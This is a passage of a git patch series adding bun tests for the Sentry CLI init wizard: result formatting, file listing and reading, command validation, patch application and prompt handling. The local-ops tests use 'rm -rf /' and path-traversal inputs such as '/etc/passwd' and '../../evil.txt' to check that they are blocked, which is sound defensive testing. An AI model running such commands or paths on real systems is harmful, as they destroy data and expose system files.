expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +import { formatError, formatResult } from "../../../src/lib/init/formatters.js"; + +// Spy on clack functions to capture arguments without replacing them +let noteSpy: ReturnType; +let outroSpy: ReturnType; +let cancelSpy: ReturnType; +let logInfoSpy: ReturnType; +let logWarnSpy: ReturnType; +let logErrorSpy: ReturnType; + +const noop = () => { + /* suppress clack output */ +}; + +beforeEach(() => { + noteSpy = spyOn(clack, "note").mockImplementation(noop); + outroSpy = spyOn(clack, "outro").mockImplementation(noop); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); + logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); +}); + +afterEach(() => { + noteSpy.mockRestore(); + outroSpy.mockRestore(); + cancelSpy.mockRestore(); + logInfoSpy.mockRestore(); + logWarnSpy.mockRestore(); + logErrorSpy.mockRestore(); +}); + +describe("formatResult", () => { + test("displays summary with all fields and action icons", () => { + formatResult({ + result: { + platform: "Next.js", + projectDir: "/app", + features: ["errorMonitoring", "performanceMonitoring"], + commands: ["npm install @sentry/nextjs"], + sentryProjectUrl: "https://sentry.io/project", + docsUrl: "https://docs.sentry.io", + changedFiles: [ + { action: "create", path: "sentry.client.config.ts" }, + { action: "modify", path: "next.config.js" }, + { action: "delete", path: "old-sentry.js" }, + ], + }, + }); + + expect(noteSpy).toHaveBeenCalledTimes(1); + const noteContent: string = noteSpy.mock.calls[0][0]; + + expect(noteContent).toContain("Next.js"); + expect(noteContent).toContain("/app"); + expect(noteContent).toContain("Error Monitoring"); + expect(noteContent).toContain("Performance Monitoring"); + expect(noteContent).toContain("npm install @sentry/nextjs"); + expect(noteContent).toContain("+ sentry.client.config.ts"); + expect(noteContent).toContain("~ next.config.js"); + expect(noteContent).toContain("- old-sentry.js"); + + expect(noteSpy.mock.calls[0][1]).toBe("Setup complete"); + }); + + test("skips note when result has no summary fields", () => { + formatResult({}); + + expect(noteSpy).not.toHaveBeenCalled(); + expect(outroSpy).toHaveBeenCalled(); + }); + + test("displays warnings when present", () => { + formatResult({ + result: { + warnings: ["Source maps not configured", "Missing DSN"], + }, + }); + + expect(logWarnSpy).toHaveBeenCalledTimes(2); + expect(logWarnSpy.mock.calls[0][0]).toBe("Source maps not configured"); + expect(logWarnSpy.mock.calls[1][0]).toBe("Missing DSN"); + }); + + test("unwraps nested result property", () => { + formatResult({ result: { platform: "React" } }); + + const noteContent: string = noteSpy.mock.calls[0][0]; + expect(noteContent).toContain("React"); + }); +}); + +describe("formatError", () => { + test("logs the error message", () => { + formatError({ error: "Connection timed out" }); + + expect(logErrorSpy).toHaveBeenCalledWith("Connection timed out"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + }); + + test("extracts message from nested result.message", () => { + formatError({ result: { message: "Inner failure" } }); + + expect(logErrorSpy).toHaveBeenCalledWith("Inner failure"); + }); + + test("falls back to unknown error when no message available", () => { + formatError({}); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Wizard failed with an unknown error" + ); + }); + + test("shows --force hint for already-installed exit code (10)", () => { + formatError({ result: { exitCode: 10 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("--force"); + }); + + test("shows platform hint for detection failure exit code (20)", () => { + formatError({ result: { exitCode: 20 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("platform"); + }); + + test("shows manual install commands for dependency failure (30)", () => { + formatError({ + result: { + exitCode: 30, + commands: ["npm install @sentry/node"], + }, + }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("$ npm install @sentry/node"); + }); + + test("shows verification hint for exit code 50", () => { + formatError({ result: { exitCode: 50 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("verification"); + }); + + test("shows docs URL when present", () => { + formatError({ + result: { docsUrl: "https://docs.sentry.io/platforms/react/" }, + }); + + const infoCalls = logInfoSpy.mock.calls.map((c) => String(c[0])); + expect( + infoCalls.some((s) => + s.includes("https://docs.sentry.io/platforms/react/") + ) + ).toBe(true); + }); +}); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 9a5a186e..22d220fd 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -1,5 +1,32 @@ -import { describe, expect, test } from "bun:test"; -import { validateCommand } from "../../../src/lib/init/local-ops.js"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import fs, { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { + handleLocalOp, + validateCommand, +} from "../../../src/lib/init/local-ops.js"; +import type { + ApplyPatchsetPayload, + FileExistsBatchPayload, + ListDirPayload, + LocalOpPayload, + ReadFilesPayload, + RunCommandsPayload, + WizardOptions, +} from "../../../src/lib/init/types.js"; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: false, + dryRun: false, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + ...overrides, + }; +} describe("validateCommand", () => { test("allows legitimate install commands", () => { @@ -81,3 +108,583 @@ describe("validateCommand", () => { expect(validateCommand(" ")).toContain("empty command"); }); }); + +describe("handleLocalOp", () => { + let testDir: string; + const options = makeOptions(); + + beforeEach(() => { + testDir = mkdtempSync(join("/tmp", "local-ops-test-")); + }); + + afterEach(() => { + rmSync(testDir, { recursive: true, force: true }); + }); + + describe("dispatcher", () => { + test("returns error for unknown operation", async () => { + const payload = { + type: "local-op", + operation: "teleport", + cwd: testDir, + params: {}, + } as unknown as LocalOpPayload; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("Unknown operation"); + }); + }); + + describe("path traversal protection", () => { + test("rejects relative path escaping cwd", async () => { + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "../../../etc" }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + + test("rejects absolute path outside cwd in read-files", async () => { + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["/etc/passwd"] }, + }; + + const result = await handleLocalOp(payload, options); + // read-files catches errors per-file and returns null + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["/etc/passwd"]).toBeNull(); + }); + + test("allows relative path within cwd", async () => { + mkdirSync(join(testDir, "subdir")); + writeFileSync(join(testDir, "subdir", "file.txt"), "hello"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "subdir" }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + }); + + describe("list-dir", () => { + test("lists files and directories with correct types", async () => { + writeFileSync(join(testDir, "file1.txt"), "a"); + writeFileSync(join(testDir, "file2.ts"), "b"); + mkdirSync(join(testDir, "subdir")); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + + const entries = ( + result.data as { + entries: Array<{ + name: string; + type: "file" | "directory"; + }>; + } + ).entries; + expect(entries).toHaveLength(3); + + const names = entries.map((e) => e.name).sort(); + expect(names).toEqual(["file1.txt", "file2.ts", "subdir"]); + + const dir = entries.find((e) => e.name === "subdir"); + expect(dir?.type).toBe("directory"); + + const file = entries.find((e) => e.name === "file1.txt"); + expect(file?.type).toBe("file"); + }); + + test("respects maxEntries limit", async () => { + for (let i = 0; i < 10; i++) { + writeFileSync(join(testDir, `file${i}.txt`), "x"); + } + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", maxEntries: 3 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ name: string }> }) + .entries; + expect(entries).toHaveLength(3); + }); + + test("recursive mode traverses nested directories", async () => { + mkdirSync(join(testDir, "a")); + writeFileSync(join(testDir, "a", "nested.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 3 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + expect(paths).toContain(join("a", "nested.txt")); + }); + + test("skips node_modules and dot-directories when recursing", async () => { + mkdirSync(join(testDir, "node_modules", "pkg"), { recursive: true }); + writeFileSync(join(testDir, "node_modules", "pkg", "index.js"), "x"); + mkdirSync(join(testDir, ".git", "objects"), { recursive: true }); + writeFileSync(join(testDir, ".git", "objects", "abc"), "x"); + mkdirSync(join(testDir, "src")); + writeFileSync(join(testDir, "src", "app.ts"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 5 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + + // The top-level dirs are listed but not recursed into + expect(paths).toContain("node_modules"); + expect(paths).toContain(".git"); + // Their children should NOT be listed + expect(paths).not.toContain(join("node_modules", "pkg")); + expect(paths).not.toContain(join(".git", "objects")); + // src IS recursed into + expect(paths).toContain(join("src", "app.ts")); + }); + + test("respects maxDepth limit", async () => { + // Create 3-level deep structure + mkdirSync(join(testDir, "a", "b", "c"), { recursive: true }); + writeFileSync(join(testDir, "a", "b", "c", "deep.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 1 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + + expect(paths).toContain("a"); + expect(paths).toContain(join("a", "b")); + // Depth 2+ should not be reached + expect(paths).not.toContain(join("a", "b", "c")); + }); + }); + + describe("read-files", () => { + test("reads file contents correctly", async () => { + writeFileSync(join(testDir, "hello.txt"), "world"); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["hello.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["hello.txt"]).toBe("world"); + }); + + test("returns null for non-existent files", async () => { + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["missing.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["missing.txt"]).toBeNull(); + }); + + test("truncates files exceeding maxBytes", async () => { + const content = "A".repeat(1000); + writeFileSync(join(testDir, "big.txt"), content); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["big.txt"], maxBytes: 50 }, + }; + + const result = await handleLocalOp(payload, options); + const files = (result.data as { files: Record }) + .files; + expect(files["big.txt"]?.length).toBe(50); + }); + + test("handles multiple files in one call", async () => { + writeFileSync(join(testDir, "a.txt"), "aaa"); + writeFileSync(join(testDir, "b.txt"), "bbb"); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["a.txt", "b.txt", "c.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + const files = (result.data as { files: Record }) + .files; + expect(files["a.txt"]).toBe("aaa"); + expect(files["b.txt"]).toBe("bbb"); + expect(files["c.txt"]).toBeNull(); + }); + }); + + describe("file-exists-batch", () => { + test("correctly identifies existing and missing files", async () => { + writeFileSync(join(testDir, "exists.txt"), "yes"); + + const payload: FileExistsBatchPayload = { + type: "local-op", + operation: "file-exists-batch", + cwd: testDir, + params: { paths: ["exists.txt", "nope.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const exists = (result.data as { exists: Record }) + .exists; + expect(exists["exists.txt"]).toBe(true); + expect(exists["nope.txt"]).toBe(false); + }); + + test("returns false for path traversal attempts", async () => { + const payload: FileExistsBatchPayload = { + type: "local-op", + operation: "file-exists-batch", + cwd: testDir, + params: { paths: ["../../etc/passwd"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const exists = (result.data as { exists: Record }) + .exists; + expect(exists["../../etc/passwd"]).toBe(false); + }); + }); + + describe("run-commands", () => { + test("executes command and captures stdout", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["echo hello"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const results = ( + result.data as { + results: Array<{ + stdout: string; + exitCode: number; + }>; + } + ).results; + expect(results[0].stdout.trim()).toBe("hello"); + expect(results[0].exitCode).toBe(0); + }); + + test("returns error on failed command", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["ls /nonexistent_path_that_does_not_exist_xyz"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("failed with exit code"); + }); + + test("rejects blocked commands", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["rm -rf /"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + }); + + test("stops on first failed command in a sequence", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["false", "echo should_not_run"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + const results = ( + result.data as { + results: Array<{ command: string }>; + } + ).results; + expect(results).toHaveLength(1); + expect(results[0].command).toBe("false"); + }); + + test("dry-run skips execution and validation", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["rm -rf /", "echo hello"] }, + }; + + const dryRunOptions = makeOptions({ dryRun: true }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(true); + const results = ( + result.data as { + results: Array<{ stdout: string; exitCode: number }>; + } + ).results; + expect(results).toHaveLength(2); + expect(results[0].stdout).toBe("(dry-run: skipped)"); + expect(results[0].exitCode).toBe(0); + }); + }); + + describe("apply-patchset", () => { + test("creates a new file with content", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "new.txt", action: "create", patch: "hello world" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.readFileSync(join(testDir, "new.txt"), "utf-8")).toBe( + "hello world" + ); + }); + + test("creates nested directories automatically", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { + path: "deep/nested/file.txt", + action: "create", + patch: "content", + }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect( + fs.readFileSync(join(testDir, "deep", "nested", "file.txt"), "utf-8") + ).toBe("content"); + }); + + test("modifies an existing file", async () => { + writeFileSync(join(testDir, "existing.txt"), "old"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "existing.txt", action: "modify", patch: "new content" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.readFileSync(join(testDir, "existing.txt"), "utf-8")).toBe( + "new content" + ); + }); + + test("fails when modifying a non-existent file", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "ghost.txt", action: "modify", patch: "content" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("file does not exist"); + }); + + test("deletes an existing file", async () => { + writeFileSync(join(testDir, "doomed.txt"), "bye"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "doomed.txt", action: "delete", patch: "" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.existsSync(join(testDir, "doomed.txt"))).toBe(false); + }); + + test("delete is a no-op for non-existent file", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "ghost.txt", action: "delete", patch: "" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + + test("applies multiple patches in sequence", async () => { + writeFileSync(join(testDir, "to-modify.txt"), "old"); + writeFileSync(join(testDir, "to-delete.txt"), "bye"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "created.txt", action: "create", patch: "new" }, + { path: "to-modify.txt", action: "modify", patch: "updated" }, + { path: "to-delete.txt", action: "delete", patch: "" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + + const applied = ( + result.data as { applied: Array<{ path: string; action: string }> } + ).applied; + expect(applied).toHaveLength(3); + + expect(fs.existsSync(join(testDir, "created.txt"))).toBe(true); + expect(fs.readFileSync(join(testDir, "to-modify.txt"), "utf-8")).toBe( + "updated" + ); + expect(fs.existsSync(join(testDir, "to-delete.txt"))).toBe(false); + }); + + test("dry-run does not write files but reports actions", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "phantom.txt", action: "create", patch: "content" }, + ], + }, + }; + + const dryRunOptions = makeOptions({ dryRun: true }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(true); + + const applied = ( + result.data as { applied: Array<{ path: string; action: string }> } + ).applied; + expect(applied).toHaveLength(1); + expect(applied[0].action).toBe("create"); + + // File should NOT exist on disk + expect(fs.existsSync(join(testDir, "phantom.txt"))).toBe(false); + }); + + test("dry-run still validates path safety", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "../../evil.txt", action: "create", patch: "bad" }], + }, + }; + + const dryRunOptions = makeOptions({ dryRun: true }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + }); +}); From 068663d3a10c2b4b4d42cc42e1c6b957528c7952 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 18:45:31 +0100 Subject: [PATCH 35/72] test(init): improve patch coverage by including isolated tests in CI coverage Include test/isolated in the test:unit coverage run so that existing comprehensive tests for wizard-runner and interactive modules count toward patch coverage. Add new tests for init command parsing, clack-utils utilities, cancel paths, and wizard-runner edge cases. Co-Authored-By: Claude Opus 4.6 --- package.json | 4 +- test/isolated/init-command.test.ts | 203 +++++++++++++++++++++++ test/isolated/init-interactive.test.ts | 31 ++++ test/isolated/init-wizard-runner.test.ts | 90 ++++++++++ test/lib/help.test.ts | 3 + test/lib/init/clack-utils.test.ts | 70 ++++++++ 6 files changed, 399 insertions(+), 2 deletions(-) create mode 100644 test/isolated/init-command.test.ts create mode 100644 test/lib/init/clack-utils.test.ts diff --git a/package.json b/package.json index 6f53a1ec..550f033c 100644 --- a/package.json +++ b/package.json @@ -63,8 +63,8 @@ "typecheck": "tsc --noEmit", "lint": "bunx ultracite check", "lint:fix": "bunx ultracite fix", - "test": "bun run test:unit && bun run test:isolated", - "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", + "test": "bun run test:unit", + "test:unit": "bun test test/lib test/commands test/types test/isolated --coverage --coverage-reporter=lcov", "test:isolated": "bun test test/isolated", "test:e2e": "bun test test/e2e", "test:init-eval": "bun test test/init-eval --timeout 600000 --concurrency 6", diff --git a/test/isolated/init-command.test.ts b/test/isolated/init-command.test.ts new file mode 100644 index 00000000..a62634e2 --- /dev/null +++ b/test/isolated/init-command.test.ts @@ -0,0 +1,203 @@ +/** + * Isolated tests for the `sentry init` command entry point. + * + * Mocks the same modules as init-wizard-runner.test.ts to avoid + * mock.module() cross-file interference in bun's test runner. + */ + +import { beforeEach, describe, expect, mock, test } from "bun:test"; +import path from "node:path"; + +// ── Clack mocks (must match wizard-runner test to avoid leakage) ───────── +const spinnerMock = { start: mock(), stop: mock(), message: mock() }; + +mock.module("@clack/prompts", () => ({ + spinner: () => spinnerMock, + intro: mock(), + log: { info: mock(), warn: mock(), error: mock() }, + cancel: mock(), + note: mock(), + outro: mock(), + select: mock(), + multiselect: mock(), + confirm: mock(), + isCancel: (v: unknown) => v === Symbol.for("cancel"), +})); + +// ── Handler mocks ──────────────────────────────────────────────────────── +mock.module("../../src/lib/init/local-ops.js", () => ({ + handleLocalOp: mock(() => + Promise.resolve({ ok: true, data: { results: [] } }) + ), + validateCommand: () => { + /* noop mock */ + }, +})); + +mock.module("../../src/lib/init/interactive.js", () => ({ + handleInteractive: mock(() => Promise.resolve({ action: "continue" })), +})); + +mock.module("../../src/lib/init/formatters.js", () => ({ + formatResult: mock(), + formatError: mock(), +})); + +mock.module("../../src/lib/db/auth.js", () => ({ + getAuthToken: () => "fake-token", + isAuthenticated: () => Promise.resolve(false), +})); + +mock.module("../../src/lib/help.js", () => ({ + formatBanner: () => "BANNER", +})); + +// ── MastraClient mock — startAsync captures the runWizard call args ────── +let capturedInputData: Record | undefined; + +mock.module("@mastra/client-js", () => ({ + MastraClient: class { + getWorkflow() { + return { + createRun: () => + Promise.resolve({ + startAsync: ({ + inputData, + }: { + inputData: Record; + }) => { + capturedInputData = inputData; + return Promise.resolve({ status: "success" }); + }, + resumeAsync: () => Promise.resolve({ status: "success" }), + }), + }; + } + }, +})); + +const { initCommand } = await import("../../src/commands/init.js"); + +const func = (await initCommand.loader()) as ( + this: { + cwd: string; + stdout: { write: () => boolean }; + stderr: { write: () => boolean }; + stdin: typeof process.stdin; + }, + flags: Record, + directory?: string +) => Promise; + +function makeContext(cwd = "/projects/app") { + return { + cwd, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + }; +} + +beforeEach(() => { + capturedInputData = undefined; +}); + +describe("init command func", () => { + describe("features parsing", () => { + test("splits comma-separated features", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: "errors,tracing,logs", + }); + + expect(capturedInputData?.features).toEqual([ + "errors", + "tracing", + "logs", + ]); + }); + + test("trims whitespace from features", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: " errors , tracing ", + }); + + expect(capturedInputData?.features).toEqual(["errors", "tracing"]); + }); + + test("filters empty segments", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: "errors,,tracing,", + }); + + expect(capturedInputData?.features).toEqual(["errors", "tracing"]); + }); + + test("passes undefined when features not provided", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + }); + + expect(capturedInputData?.features).toBeUndefined(); + }); + }); + + describe("directory resolution", () => { + test("defaults to cwd when no directory provided", async () => { + const ctx = makeContext("/projects/app"); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + }); + + expect(capturedInputData?.directory).toBe("/projects/app"); + }); + + test("resolves relative directory against cwd", async () => { + const ctx = makeContext("/projects/app"); + await func.call( + ctx, + { + force: false, + yes: true, + "dry-run": false, + }, + "sub/dir" + ); + + expect(capturedInputData?.directory).toBe( + path.resolve("/projects/app", "sub/dir") + ); + }); + }); + + describe("flag forwarding", () => { + test("forwards force, yes, and dry-run flags", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: true, + yes: true, + "dry-run": true, + }); + + expect(capturedInputData?.force).toBe(true); + expect(capturedInputData?.yes).toBe(true); + expect(capturedInputData?.dryRun).toBe(true); + }); + }); +}); diff --git a/test/isolated/init-interactive.test.ts b/test/isolated/init-interactive.test.ts index c914f3e1..b20b63d5 100644 --- a/test/isolated/init-interactive.test.ts +++ b/test/isolated/init-interactive.test.ts @@ -216,6 +216,22 @@ describe("handleMultiSelect", () => { expect(features).toContain("sessionReplay"); }); + test("throws WizardCancelledError when user cancels multi-select", async () => { + multiselectImpl = mock(() => Promise.resolve(Symbol.for("cancel"))); + + await expect( + handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: ["errorMonitoring", "performanceMonitoring"], + }, + makeOptions({ yes: false }) + ) + ).rejects.toThrow("Setup cancelled"); + }); + test("excludes errorMonitoring from multiselect options (always included)", async () => { multiselectImpl = mock(() => Promise.resolve(["performanceMonitoring"])); @@ -281,6 +297,21 @@ describe("handleConfirm", () => { expect(result).toEqual({ addExample: false }); }); + test("throws WizardCancelledError when user cancels confirm", async () => { + confirmImpl = mock(() => Promise.resolve(Symbol.for("cancel"))); + + await expect( + handleInteractive( + { + type: "interactive", + prompt: "Continue with setup?", + kind: "confirm", + }, + makeOptions({ yes: false }) + ) + ).rejects.toThrow("Setup cancelled"); + }); + test("returns action: stop when user declines non-example prompt", async () => { confirmImpl = mock(() => Promise.resolve(false)); diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts index be452c0a..519f0641 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -322,6 +322,96 @@ describe("runWizard", () => { expect(errorMsg).toContain("alien"); }); + test("handles multiple suspend/resume iterations", async () => { + // First iteration: local-op, second: interactive, third: success + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + mockResumeResults = [ + { + status: "suspended", + suspended: [["select-features"]], + steps: { + "select-features": { + suspendPayload: { + type: "interactive", + kind: "multi-select", + prompt: "Select features", + availableFeatures: ["errorMonitoring"], + }, + }, + }, + }, + { status: "success" }, + ]; + + await runWizard(makeOptions()); + + expect(mockHandleLocalOp).toHaveBeenCalledTimes(1); + expect(mockHandleInteractive).toHaveBeenCalledTimes(1); + expect(mockFormatResult).toHaveBeenCalled(); + }); + + test("handles non-Error exception in catch block", async () => { + mockHandleLocalOp.mockImplementationOnce(() => + Promise.reject("string error") + ); + + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + + await runWizard(makeOptions()); + + expect(logMock.error).toHaveBeenCalledWith("string error"); + expect(cancelMock).toHaveBeenCalledWith("Setup failed"); + }); + + test("falls back to iterating steps when stepId key not found", async () => { + // The suspend path references "step-a" but the payload is under "step-b" + mockStartResult = { + status: "suspended", + suspended: [["step-a"]], + steps: { + "step-b": { + suspendPayload: { + type: "local-op", + operation: "read-files", + cwd: "/app", + params: { paths: ["index.ts"] }, + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(mockHandleLocalOp).toHaveBeenCalled(); + }); + test("handles missing suspend payload", async () => { mockStartResult = { status: "suspended", diff --git a/test/lib/help.test.ts b/test/lib/help.test.ts index 61315f1d..b6d9f605 100644 --- a/test/lib/help.test.ts +++ b/test/lib/help.test.ts @@ -79,7 +79,10 @@ describe("printCustomHelp", () => { // Should include at least some core commands from routes expect(output).toContain("sentry"); + // Route map command (exercises isRouteMap branch) expect(output).toContain("auth"); + // Direct command with tuple positional (exercises isCommand + getPositionalPlaceholder) + expect(output).toContain("init"); }); test("output contains docs URL", async () => { diff --git a/test/lib/init/clack-utils.test.ts b/test/lib/init/clack-utils.test.ts new file mode 100644 index 00000000..d4d8db41 --- /dev/null +++ b/test/lib/init/clack-utils.test.ts @@ -0,0 +1,70 @@ +/** + * Tests for clack-utils: WizardCancelledError, abortIfCancelled, featureLabel, featureHint. + * + * These are pure utility functions that don't require module mocking. + */ + +import { describe, expect, test } from "bun:test"; +import { + abortIfCancelled, + featureHint, + featureLabel, + WizardCancelledError, +} from "../../../src/lib/init/clack-utils.js"; + +describe("WizardCancelledError", () => { + test("has correct message", () => { + const err = new WizardCancelledError(); + expect(err.message).toBe("Setup cancelled."); + }); + + test("has correct name", () => { + const err = new WizardCancelledError(); + expect(err.name).toBe("WizardCancelledError"); + }); + + test("is an instance of Error", () => { + const err = new WizardCancelledError(); + expect(err).toBeInstanceOf(Error); + }); +}); + +describe("abortIfCancelled", () => { + test("passes through non-cancel values", () => { + expect(abortIfCancelled("hello")).toBe("hello"); + expect(abortIfCancelled(42)).toBe(42); + expect(abortIfCancelled(null)).toBeNull(); + }); + + test("passes through object values", () => { + const obj = { key: "value" }; + expect(abortIfCancelled(obj)).toBe(obj); + }); +}); + +describe("featureLabel", () => { + test("returns label for known feature", () => { + expect(featureLabel("errorMonitoring")).toBe("Error Monitoring"); + expect(featureLabel("performanceMonitoring")).toBe( + "Performance Monitoring" + ); + expect(featureLabel("logs")).toBe("Logging"); + }); + + test("returns id as passthrough for unknown feature", () => { + expect(featureLabel("unknownFeature")).toBe("unknownFeature"); + }); +}); + +describe("featureHint", () => { + test("returns hint for known feature", () => { + expect(featureHint("errorMonitoring")).toBe( + "Automatic error and crash reporting" + ); + expect(featureHint("sessionReplay")).toBe("Visual replay of user sessions"); + }); + + test("returns undefined for unknown feature", () => { + 